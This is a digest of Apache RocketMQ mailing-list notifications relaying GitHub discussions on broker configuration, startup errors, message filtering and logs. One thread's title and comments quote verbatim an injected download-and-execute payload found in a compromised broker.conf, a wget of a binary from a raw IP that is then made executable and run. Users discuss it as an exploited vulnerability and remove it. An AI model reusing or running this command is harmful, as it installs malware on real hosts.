Re: [I] 提供最新编译的包，有需要的可以下载 [rocketmq-client-python]
fu1996 commented on issue #148: URL: https://github.com/apache/rocketmq-client-python/issues/148#issuecomment-2175298070 可以帮忙提供一下 mac M 系列的编译包吗？ -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: dev-unsubscr...@rocketmq.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
Re: [D] DefaultMessageStore.start方法maxPhysicalPosInLogicQueue变量赋值的问题 [rocketmq]
GitHub user zhaomengit edited a discussion:
DefaultMessageStore.start方法maxPhysicalPosInLogicQueue变量赋值的问题
```java
/**
* 1. Make sure the fast-forward messages to be truncated during
the recovering according to the max physical offset of the commitlog;
* 2. DLedger committedPos may be missing, so the
maxPhysicalPosInLogicQueue maybe bigger that maxOffset returned by
DLedgerCommitLog, just let it go;
* 3. Calculate the reput offset according to the consume queue;
* 4. Make sure the fall-behind messages to be dispatched before
starting the commitlog, especially when the broker role are automatically
changed.
*/
long maxPhysicalPosInLogicQueue = commitLog.getMinOffset();
for (ConcurrentMap maps :
this.consumeQueueTable.values()) {
for (ConsumeQueue logic : maps.values()) {
if (logic.getMaxPhysicOffset() >
maxPhysicalPosInLogicQueue) {
maxPhysicalPosInLogicQueue = logic.getMaxPhysicOffset();
}
}
}
// If maxPhyPos(CQs) < minPhyPos(CommitLog), some newly deleted
topics may be re-dispatched into cqs mistakenly.
if (maxPhysicalPosInLogicQueue < 0) {
maxPhysicalPosInLogicQueue = 0;
}
if (maxPhysicalPosInLogicQueue < this.commitLog.getMinOffset()) {
maxPhysicalPosInLogicQueue = this.commitLog.getMinOffset();
/**
* This happens in following conditions:
* 1. If someone removes all the consumequeue files or the disk
get damaged.
* 2. Launch a new broker, and copy the commitlog from other
brokers.
*
* All the conditions has the same in common that the
maxPhysicalPosInLogicQueue should be 0.
* If the maxPhysicalPosInLogicQueue is gt 0, there maybe
something wrong.
*/
log.warn("[TooSmallCqOffset] maxPhysicalPosInLogicQueue={}
clMinOffset={}", maxPhysicalPosInLogicQueue, this.commitLog.getMinOffset());
}
log.info("[SetReputOffset] maxPhysicalPosInLogicQueue={}
clMinOffset={} clMaxOffset={} clConfirmedOffset={}",
maxPhysicalPosInLogicQueue, this.commitLog.getMinOffset(),
this.commitLog.getMaxOffset(), this.commitLog.getConfirmOffset());
this.reputMessageService.setReputFromOffset(maxPhysicalPosInLogicQueue);
this.reputMessageService.start();
```
经过下面这段代码，maxPhysicalPosInLogicQueue 已经至少比commitLog.getMinOffset()大了
```java
long maxPhysicalPosInLogicQueue = commitLog.getMinOffset();
for (ConcurrentMap maps :
this.consumeQueueTable.values()) {
for (ConsumeQueue logic : maps.values()) {
if (logic.getMaxPhysicOffset() >
maxPhysicalPosInLogicQueue) {
maxPhysicalPosInLogicQueue = logic.getMaxPhysicOffset();
}
}
}
```
下面的这个条件` if (maxPhysicalPosInLogicQueue < this.commitLog.getMinOffset()) `
在什么情况下会发生，下面的注释没怎么看明白，为什么删除所有消费队列文件和磁盘损坏会发生这种情况
GitHub link: https://github.com/apache/rocketmq/discussions/8303
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 部署 3 节点 controller ，broker 状态 alive 显示为 false [rocketmq]
GitHub user drivebyer added a comment to the discussion: 部署 3 节点 controller ，broker 状态 alive 显示为 false > 用operator部署5.2.0的rocketmq，当controller是3节点时也遇到了相同的问题，现象和日志报错跟前边描述的第二个现象相同 看来我不是一个人 :) GitHub link: https://github.com/apache/rocketmq/discussions/7877#discussioncomment-9736535 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 部署 3 节点 controller ，broker 状态 alive 显示为 false [rocketmq]
GitHub user anguoming added a comment to the discussion: 部署 3 节点 controller ，broker 状态 alive 显示为 false 用operator部署5.2.0的rocketmq，当controller是3节点时也遇到了相同的问题，现象和日志报错跟前边描述的第二个现象相同 GitHub link: https://github.com/apache/rocketmq/discussions/7877#discussioncomment-9736493 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] create grpc conn failed, err=context deadline exceeded [rocketmq-clients]
GitHub user yuhai-yang added a comment to the discussion: create grpc conn failed, err=context deadline exceeded me too GitHub link: https://github.com/apache/rocketmq-clients/discussions/579#discussioncomment-9734478 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] consumerMessageBatchMaxSize未生效 [rocketmq]
GitHub user zhiliatom added a comment to the discussion: consumerMessageBatchMaxSize未生效 `consumerMessageBatchMaxSize`默认值就是 1，可以在消费者客户端中修改`consumer.setConsumerMessageBatchMaxSize(32)`生效。注意这个值并不可以无限大，因为客户端每次从 Broker 拉取消息到客户端缓存的消息大小、消息条数也是有限制的。服务端通过配置`maxTransferBytesOnMessageInMemory`,`maxTransferCountOnMessageInMemory`,`maxTransferBytesOnMessageInDisk`,`maxTransferBytesOnMessageInDisk`进行限制。 https://github.com/apache/rocketmq/assets/87265072/aa8f2285-cd84-4555-b40b-9c853702df26;> GitHub link: https://github.com/apache/rocketmq/discussions/8189#discussioncomment-9695483 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] client 4.9.5 消费不均衡 [rocketmq]
GitHub user zhiliatom added a comment to the discussion: client 4.9.5 消费不均衡 顺序消息会根据 shardingkey 对消息分片，观察brokeroffset位点，是否第一个 broker 的消息投递数量就是第二个 broker 的两倍呢？ GitHub link: https://github.com/apache/rocketmq/discussions/8181#discussioncomment-9687736 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Can't generate rocketmq_client.log in mac [rocketmq]
GitHub user zhiliatom closed a discussion: Can't generate rocketmq_client.log in mac Hi, I'm using 5.x version consumer example in my mac and work success. But I can't find rocketmq_client.log in ~/logs/rocketmqlogs/rocketmq_client.log. I didn't set any env parameter or logback config file. https://github.com/apache/rocketmq/assets/87265072/4aa16570-6eef-493d-b495-4bf6cfe80d6f;> Even when I modify rmq.client.logback.xml, specify the path still generate the rocketmq_client.log https://github.com/apache/rocketmq/assets/87265072/007fb8ce-6d09-4acb-b004-310de169fc53;> GitHub link: https://github.com/apache/rocketmq/discussions/8035 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故 [rocketmq]
GitHub user WellJay edited a discussion: 请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故 请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？ 因为运维配置为true，但是enableSingleTopicRegister使用默认值false，引起了事故 @RongtongJin GitHub link: https://github.com/apache/rocketmq/discussions/8258 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故 [rocketmq]
GitHub user WellJay edited a discussion: 请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故 请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？ 因为运维配置为true，但是enableSingleTopicRegister使用默认值false，引起了事故 配置从k8s heml官方镜像中拷贝的； @RongtongJin GitHub link: https://github.com/apache/rocketmq/discussions/8258 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故 [rocketmq]
GitHub user WellJay edited a discussion: 请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故 请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？ 因为运维配置为true，但是enableSingleTopicRegister使用默认值false，引起了事故 配置从k8s heml官方镜像中拷贝的； GitHub link: https://github.com/apache/rocketmq/discussions/8258 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
[PR] Update version to 1.0.3. support arm [rocketmq-externals]
francisoliverlee opened a new pull request, #933: URL: https://github.com/apache/rocketmq-externals/pull/933 ## What is the purpose of the change X ## Brief changelog XX ## Verifying this change Follow this checklist to help us incorporate your contribution quickly and easily. Notice, `it would be helpful if you could finish the following 5 checklist(the last one is not necessary)before request the community to review your PR`. - [x] Make sure there is a [Github issue](https://github.com/apache/rocketmq/issues) filed for the change (usually before you start working on it). Trivial changes like typos do not require a Github issue. Your pull request should address just this issue, without pulling in other changes - one PR resolves one issue. - [x] Format the pull request title like `[ISSUE #123] Fix UnknownException when host config not exist`. Each commit in the pull request should have a meaningful subject line and body. - [x] Write a pull request description that is detailed enough to understand what the pull request does, how, and why. - [x] Write necessary unit-test(over 80% coverage) to verify your logic correction, more mock a little better when cross module dependency exist. If the new feature or significant change is committed, please remember to add integration-test in [test module](https://github.com/apache/rocketmq/tree/master/test). - [x] Run `mvn -B clean apache-rat:check findbugs:findbugs checkstyle:checkstyle` to make sure basic checks pass. Run `mvn clean install -DskipITs` to make sure unit-test pass. Run `mvn clean test-compile failsafe:integration-test` to make sure integration-test pass. - [ ] If this contribution is large, please file an [Apache Individual Contributor License Agreement](http://www.apache.org/licenses/#clas). -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: dev-unsubscr...@rocketmq.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
Re: [D] ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86 maquenas;/conf/logback_broker.xml]. [r
GitHub user bruce-pang added a comment to the discussion: ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86 maquenas;/conf/logback_broker.xml]. > 是不是 RocketMQHome 这个配置被修改了，我记得有个漏洞是可以修改这个配置的，然后启动就会报错 的确是的，发现这个配置文件被修改了，我手动删除后，重新执行命令解决的 GitHub link: https://github.com/apache/rocketmq/discussions/8238#discussioncomment-9680001 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 启动报错Expected the service PushConsumerImpl-0 [FAILED] to be RUNNING, but the service has FAILED [rocketmq]
GitHub user jzhParallel added a comment to the discussion: 启动报错Expected the service PushConsumerImpl-0 [FAILED] to be RUNNING, but the service has FAILED 检查你的mq版本和rockermq-client-java版本是否一致！一样的错误，找了一天没发现问题，前段时间重新看，认真翻了一遍官网才看见rockermq-client-java5之后的版本只能对应mq5之后的版本，我的mq版本选用了4.9.3，现在导入依赖rocketmq-client的4.9.3版本可以正常运行。希望对你有帮助！ GitHub link: https://github.com/apache/rocketmq/discussions/6238#discussioncomment-9677296 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故 [rocketmq]
GitHub user WellJay edited a discussion: 请问【deleteTopicWithBrokerRegistration】参数设计意图是什么？ 因为运维的配置引起了事故 请问【deleteTopicWithBrokerReg】参数设计意图是什么？是给什么场景用的？ 因为运维配置为true 引起了事故 GitHub link: https://github.com/apache/rocketmq/discussions/8258 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86 maquenas;/conf/logback_broker.xml]. [r
GitHub user zhiliatom added a comment to the discussion: ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86 maquenas;/conf/logback_broker.xml]. 是不是 RocketMQHome 这个配置被修改了，我记得有个漏洞是可以修改这个配置的，然后启动就会报错 GitHub link: https://github.com/apache/rocketmq/discussions/8238#discussioncomment-9671183 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86 maquenas;/conf/logback_broker.xml]. [r
GitHub user bruce-pang added a comment to the discussion: ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86 maquenas;/conf/logback_broker.xml]. 我发现broker.conf里面的内容貌似是启动后动态进行修改的, 现在我发现broker.conf中直接存在有-c $@|sh . echo cd /tmp; wget http:/141.98.7.172/bins/kvm.x86这一行, 手动使用vim删除后,重新执行命令: ./mqbroker localhost:9876 -c /home/software/dev/rocketmq-all-4.7.1/conf/broker.conf autoCreateTopicEnable=true &得以正常启动 GitHub link: https://github.com/apache/rocketmq/discussions/8238#discussioncomment-9666912 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] 5.1.4 单机单节点启动Broker+Proxy无法发布消息？ [rocketmq]
GitHub user zhiliatom added a comment to the discussion: 5.1.4
单机单节点启动Broker+Proxy无法发布消息？
官方文档有错误，还需要执行 rmq-proxy.json，例如：执行 sh ./mqbroker -n localhost:9876
--enable-proxy -pc ../conf/rmq-proxy.json ;其中，rmq-proxy.json需要指定
namesrvAddr中如：{ "namesrvAddr": "localhost:9876"}
GitHub link:
https://github.com/apache/rocketmq/discussions/7517#discussioncomment-9662451
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] RocketMQ5.1及以上版本启动sh ./mqbroker -n localhost:9876 --enable-proxy报错问题 [rocketmq]
GitHub user zhiliatom edited a comment on the discussion: RocketMQ5.1及以上版本启动sh
./mqbroker -n localhost:9876 --enable-proxy报错问题
执行 sh ./mqbroker -n localhost:9876 --enable-proxy -pc ../conf/rmq-proxy.json
;其中，rmq-proxy.json需要指定 namesrvAddr中如：{ "namesrvAddr": "localhost:9876"}
GitHub link:
https://github.com/apache/rocketmq/discussions/7611#discussioncomment-9662391
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] RocketMQ5.1及以上版本启动sh ./mqbroker -n localhost:9876 --enable-proxy报错问题 [rocketmq]
GitHub user zhiliatom added a comment to the discussion: RocketMQ5.1及以上版本启动sh
./mqbroker -n localhost:9876 --enable-proxy报错问题
执行 sh ./mqbroker -n localhost:9876 --enable -pc ../conf/rmq-proxy.json
;其中，rmq-proxy.json需要指定 namesrvAddr中如：{ "namesrvAddr": "localhost:9876"}
GitHub link:
https://github.com/apache/rocketmq/discussions/7611#discussioncomment-9662391
This is an automatically sent email for dev@rocketmq.apache.org.
To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] broker master宕机卡死之后，client端还继续往broker 发送消息 [rocketmq]
GitHub user zhiliatom added a comment to the discussion: broker master宕机卡死之后，client端还继续往broker 发送消息 这个集群版本以及客户端版本都太老了，现在都5.2.0了。可能在客户端处理路由方面存在问题，建议升级到较新点的版本吧，例如4.9.x。 GitHub link: https://github.com/apache/rocketmq/discussions/8226#discussioncomment-9659346 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86 maquenas;/conf/logback_broker.xml]. [r
GitHub user zhiliatom added a comment to the discussion: ch.qos.logback.core.joran.spi.JoranException: Could not open [-c $@|sh . echo cd /tmp; wget http:/141.98.7.172/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86 maquenas;/conf/logback_broker.xml]. 启动Broker的命令没有localhost:9876 这一段 GitHub link: https://github.com/apache/rocketmq/discussions/8238#discussioncomment-9659317 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Rocketmq tag过滤机制 [rocketmq]
GitHub user 2335119327 added a comment to the discussion: Rocketmq tag过滤机制 感谢解答~ GitHub link: https://github.com/apache/rocketmq/discussions/8219#discussioncomment-9613322 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] Rocketmq tag过滤机制 [rocketmq]
GitHub user cserwen added a comment to the discussion: Rocketmq tag过滤机制 cq 只存储了消息 tag 的 hashcode 信息，没有具体的 tag 值，如果想要在服务端精确过滤，必须要decode msg，这样就会增加服务端的计算压力，同时也会增加 pullMessage 的时延， 因为客户端本身就要 decode 消息，因此将精确过滤放在客户端可以很好的利用资源，broker 负责快速初筛，消费者进行最终确认。这样可以避免 broker 端的计算瓶颈，同时让消费者在相对空闲时完成过滤操作。 你说的精确过滤，服务端也是支持的，不过要用 SQL 的方式去过滤，可以参考 ExpressionMessageFilter#isMatchedByCommitLog() 方法 GitHub link: https://github.com/apache/rocketmq/discussions/8219#discussioncomment-9612116 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [I] 为啥不支持windows? [rocketmq-client-python]
ztword commented on issue #133: URL: https://github.com/apache/rocketmq-client-python/issues/133#issuecomment-2138857042 因为开发者不使用windows -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: dev-unsubscr...@rocketmq.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org
Re: [D] Rocketmq tag过滤机制 [rocketmq]
GitHub user 2335119327 added a comment to the discussion: Rocketmq tag过滤机制 万分感谢~ GitHub link: https://github.com/apache/rocketmq/discussions/8219#discussioncomment-9588931 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] test [rocketmq]
GitHub user zhangqhai closed a discussion: test test GitHub link: https://github.com/apache/rocketmq/discussions/8176 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] test [rocketmq]
GitHub user zhangqhai reopened a discussion: test test GitHub link: https://github.com/apache/rocketmq/discussions/8176 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy [rocketmq]
GitHub user LinkCaau deleted a comment on the discussion: broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy 没有打印这个日志 GitHub link: https://github.com/apache/rocketmq/discussions/8188#discussioncomment-9566442 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy [rocketmq]
GitHub user LinkCaau edited a comment on the discussion: broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy 没有打印这个日志 这是store.log 2024-05-22 13:19的日志 2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX 0.99=0.00ms cost 0ms 2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX 0.999=0.00ms cost 0ms 2024-05-22 13:19:01 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:01.61] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:07 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:07] currRead:[05-22 05:19:07] currWrite:[05-22 05:19:07] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:11 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:11.615] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:12 INFO StoreStatsService - [STORETPS] put_tps 0.0 get_found_tps 0.0 get_miss_tps 43.239190202449386 get_transferred_tps 0.0 2024-05-22 13:19:12 INFO StoreStatsService - findPutMessageEntireTimePX 0.99=0.00ms cost 0ms 2024-05-22 13:19:12 INFO StoreStatsService - findPutMessageEntireTimePX 0.999=0.00ms cost 0ms 2024-05-22 13:19:12 INFO StoreStatsService - [PAGECACHERT] TotalPut 0, PutMessageDistributeTime [<=0ms]:0 [0~10ms]:0 [10~50ms]:0 [50~100ms]:0 [100~200ms]:0 [200~500ms]:0 [500ms~1s]:0 [1~2s]:0 [2~3s]:0 [3~4s]:0 [4~5s]:0 [5~10s]:0 [10s~]:0 2024-05-22 13:19:17 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:17] currRead:[05-22 05:19:17] currWrite:[05-22 05:19:17] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:21 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:21.62] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:26 INFO compactionSchedule_1 - start to scan all topicConfig 2024-05-22 13:19:26 INFO compactionSchedule_1 - scan all topicConfig over 2024-05-22 13:19:28 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:28] currRead:[05-22 05:19:28] currWrite:[05-22 05:19:28] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:31 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:31.625] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:41 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:39] currRead:[05-22 05:19:39] currWrite:[05-22 05:19:39] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:42 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:42.067] num:18 cost:10442 tps:1.7334 min:0 max:308 tp50:0 tp80:0 tp90:0 tp99:308 tp999:308 0_1:17 2_5:0 6_10:0 11_50:0 51_100:0 101_500:1 501_999:0 1000_:0 2024-05-22 13:19:50 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:50] currRead:[05-22 05:19:50] currWrite:[05-22 05:19:50] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:52 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:52.084] num:20 cost:10017 tps:2.0066 min:0 max:13 tp50:0 tp80:0 tp90:0 tp99:13 tp999:13 0_1:19 2_5:0 6_10:0 11_50:1 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:56 INFO compactionSchedule_1 - start to scan all topicConfig 2024-05-22 13:19:56 INFO compactionSchedule_1 - scan all topicConfig over GitHub link: https://github.com/apache/rocketmq/discussions/8188#discussioncomment-9566454 This is an automatically sent email for dev@rocketmq.apache.org. To unsubscribe, please send an email to: dev-unsubscr...@rocketmq.apache.org
Re: [D] broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy [rocketmq]
GitHub user LinkCaau edited a comment on the discussion: broker 返回异常 [TIMEOUT_CLEAN_QUEUE]broker busy 2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX 0.99=0.00ms cost 0ms 2024-05-22 13:19:00 INFO AdminBrokerThread_4 - findPutMessageEntireTimePX 0.999=0.00ms cost 0ms 2024-05-22 13:19:01 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:01.61] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:07 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:07] currRead:[05-22 05:19:07] currWrite:[05-22 05:19:07] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:11 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:11.615] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:12 INFO StoreStatsService - [STORETPS] put_tps 0.0 get_found_tps 0.0 get_miss_tps 43.239190202449386 get_transferred_tps 0.0 2024-05-22 13:19:12 INFO StoreStatsService - findPutMessageEntireTimePX 0.99=0.00ms cost 0ms 2024-05-22 13:19:12 INFO StoreStatsService - findPutMessageEntireTimePX 0.999=0.00ms cost 0ms 2024-05-22 13:19:12 INFO StoreStatsService - [PAGECACHERT] TotalPut 0, PutMessageDistributeTime [<=0ms]:0 [0~10ms]:0 [10~50ms]:0 [50~100ms]:0 [100~200ms]:0 [200~500ms]:0 [500ms~1s]:0 [1~2s]:0 [2~3s]:0 [3~4s]:0 [4~5s]:0 [5~10s]:0 [10s~]:0 2024-05-22 13:19:17 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:17] currRead:[05-22 05:19:17] currWrite:[05-22 05:19:17] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:21 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:21.62] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:26 INFO compactionSchedule_1 - start to scan all topicConfig 2024-05-22 13:19:26 INFO compactionSchedule_1 - scan all topicConfig over 2024-05-22 13:19:28 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:28] currRead:[05-22 05:19:28] currWrite:[05-22 05:19:28] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:31 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:31.625] num:20 cost:10005 tps:2.0090 min:0 max: tp50:0 tp80:0 tp90:0 tp99:0 tp999:0 0_1:20 2_5:0 6_10:0 11_50:0 51_100:0 101_500:0 501_999:0 1000_:0 2024-05-22 13:19:41 INFO TimerFlushService - [SYNC_MASTER]Timer progress-check commitRead:[05-22 05:19:39] currRead:[05-22 05:19:39] currWrite:[05-22 05:19:39] readBehind:0 currReadOffset:0 offsetBehind:0 behindMaster:0 enqPutQueue:0 deqGetQueue:0 deqPutQueue:0 allCongestNum:0 enqExpiredStoreTime:01-01 00:00:00 2024-05-22 13:19:42 INFO FlushRealTimeService - PERF_COUNTER_FLUSH_DATA_TIME_MS[2024-05-22 05:19:42.067] num:18 cost:10442 tps:1.7334 min:0 max:308 tp50:0 tp80:0 tp90:0 tp99:308 tp999:308 0_1:17 2_5:0 6_10:0 11_50:0 51_100:0 101_500:1 501_999:0 1000_:0 2024-05-22 